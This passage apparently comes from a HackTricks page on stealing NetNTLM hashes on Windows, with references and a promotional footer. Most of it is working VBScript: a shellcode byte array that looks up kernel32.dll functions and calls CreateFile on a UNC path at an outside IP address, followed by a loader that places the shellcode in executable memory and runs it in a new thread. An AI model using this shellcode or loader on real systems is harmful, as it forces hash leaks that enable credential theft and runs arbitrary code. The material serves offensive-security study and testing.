&H1d, &H33, &Hf6, &Hfc, &H8a, &H07, &H3c, &H05, &H0f, &H44, &Hc6, &Haa, &He2, &Hf6, &He8, &H05, &H05, &H05, &H05, &H5e, _
|
||
&H8b, &Hfe, &H81, &Hc6, &H29, &H01, &H05, &H05, &Hb9, &H02, &H05, &H05, &H05, &Hfc, &Had, &H01, &H3c, &H07, &He2, &Hfa, _
|
||
&H56, &Hb9, &H8d, &H10, &Hb7, &Hf8, &He8, &H5f, &H05, &H05, &H05, &H68, &H31, &H01, &H05, &H05, &Hff, &Hd0, &Hb9, &He0, _
|
||
&H53, &H31, &H4b, &He8, &H4e, &H05, &H05, &H05, &Hb9, &Hac, &Hd5, &Haa, &H88, &H8b, &Hf0, &He8, &H42, &H05, &H05, &H05, _
|
||
&H6a, &H05, &H68, &H80, &H05, &H05, &H05, &H6a, &H03, &H6a, &H05, &H6a, &H01, &H68, &H05, &H05, &H05, &H80, &H68, &H3e, _
|
||
&H01, &H05, &H05, &Hff, &Hd0, &H6a, &H05, &Hff, &Hd6, &H33, &Hc0, &H5e, &Hc3, &H33, &Hd2, &Heb, &H10, &Hc1, &Hca, &H0d, _
|
||
&H3c, &H61, &H0f, &Hbe, &Hc0, &H7c, &H03, &H83, &He8, &H20, &H03, &Hd0, &H41, &H8a, &H01, &H84, &Hc0, &H75, &Hea, &H8b, _
|
||
&Hc2, &Hc3, &H8d, &H41, &Hf8, &Hc3, &H55, &H8b, &Hec, &H83, &Hec, &H14, &H53, &H56, &H57, &H89, &H4d, &Hf4, &H64, &Ha1, _
|
||
&H30, &H05, &H05, &H05, &H89, &H45, &Hfc, &H8b, &H45, &Hfc, &H8b, &H40, &H0c, &H8b, &H40, &H14, &H89, &H45, &Hec, &H8b, _
|
||
&Hf8, &H8b, &Hcf, &He8, &Hd2, &Hff, &Hff, &Hff, &H8b, &H70, &H18, &H8b, &H3f, &H85, &Hf6, &H74, &H4f, &H8b, &H46, &H3c, _
|
||
&H8b, &H5c, &H30, &H78, &H85, &Hdb, &H74, &H44, &H8b, &H4c, &H33, &H0c, &H03, &Hce, &He8, &H96, &Hff, &Hff, &Hff, &H8b, _
|
||
&H4c, &H33, &H20, &H89, &H45, &Hf8, &H33, &Hc0, &H03, &Hce, &H89, &H4d, &Hf0, &H89, &H45, &Hfc, &H39, &H44, &H33, &H18, _
|
||
&H76, &H22, &H8b, &H0c, &H81, &H03, &Hce, &He8, &H75, &Hff, &Hff, &Hff, &H03, &H45, &Hf8, &H39, &H45, &Hf4, &H74, &H1c, _
|
||
&H8b, &H45, &Hfc, &H8b, &H4d, &Hf0, &H40, &H89, &H45, &Hfc, &H3b, &H44, &H33, &H18, &H72, &Hde, &H3b, &H7d, &Hec, &H75, _
|
||
&H9c, &H33, &Hc0, &H5f, &H5e, &H5b, &Hc9, &Hc3, &H8b, &H4d, &Hfc, &H8b, &H44, &H33, &H24, &H8d, &H04, &H48, &H0f, &Hb7, _
|
||
&H0c, &H30, &H8b, &H44, &H33, &H1c, &H8d, &H04, &H88, &H8b, &H04, &H30, &H03, &Hc6, &Heb, &Hdf, &H21, &H05, &H05, &H05, _
|
||
&H50, &H05, &H05, &H05, &H6b, &H65, &H72, &H6e, &H65, &H6c, &H33, &H32, &H2e, &H64, &H6c, &H6c, &H05, &H2f, &H2f, &H33, _
|
||
&H35, &H2e, &H31, &H36, &H34, &H2e, &H31, &H35, &H33, &H2e, &H32, &H32, &H34, &H2f, &H61, &H61, &H05)
|
||
|
||
scLocation = DX.VirtualAlloc(0, UBound(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
|
||
|
||
For i =LBound(shellcode) to UBound(shellcode)
|
||
DX.NumPut shellcode(i),scLocation,i
|
||
Next
|
||
|
||
thread = DX.CreateThread (0,0,scLocation,0,0)
|
||
```
|
||
|
||
[https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs)
|
||
|
||
There might be many other ways in Windows. You never know! 🙂
|
||
|
||
## References
|
||
|
||
* [**https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/**](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)
|
||
* [https://attack.mitre.org/techniques/T1187/](https://attack.mitre.org/techniques/T1187/)
|
||
|
||
<details>
|
||
|
||
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|